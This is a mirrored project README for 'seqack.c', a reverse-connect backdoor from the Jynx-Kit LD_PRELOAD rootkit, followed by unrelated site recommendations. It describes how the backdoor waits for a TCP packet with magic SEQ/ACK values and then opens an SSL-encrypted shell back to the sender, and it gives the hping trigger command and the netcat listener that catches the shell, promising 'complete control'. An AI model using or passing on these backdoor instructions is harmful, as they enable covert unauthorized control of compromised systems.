Giter Club home page Giter Club logo

seqack's Introduction

seqack.c

SEQAck is an SSL encrypted, magic packet triggered reverse connect 
backdoor application. I wrote this as part of the original 
Jynx-Kit LD_PRELOAD rootkit, as we released on BlackHat Academy. With 
the second installation of the rootkit, we moved away from the stand 
alone sniffing reverse connect, and decided to hook accept() system 
call. Not only was it simply to demonstrate another example of creating 
a backdoor, but it also fit perfectly with what we were doing, 
backdooring the entire system.

This backdoor monitors on the given interface for all incoming TCP 
packets. It relies on two defines, MAGIC_SEQ and MAGIC_ACK. Once the 
magic packet is received, it initiates an SSL encrypted reverse 
connecting backdoor to the host that sent the packet, on the given 
source port. For example, we can initiate the reverse connect with the 
following hping command.

# hping -M 0xdead -L 0xbeef google.com -s 5000 -c 1

Notice, the source port is 5000, SEQ (-M) is 0xdead and ACK (-L) is 
0xbeef. With this example, we'd also need the following nc (netcat 
supplied with nmap) running in the background to accept the incoming 
connection.

# nc -l -p 5000 --ssl

And there you have it, the reverse connect shell was successful, and 
you're in complete control. The idea of using SEQ/ACK values could be 
applied to a single packet port knock sequence as well, so this 
application could be easily tweaked, and expanded upon based on your 
current needs.



Links:
BHA: http://www.blackhatacademy.org
Jynx-Kit: http://www.blackhatacademy.org/security101/Jynx_Rootkit/2.0
ChokePoint: http://www.chokepoint.net

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.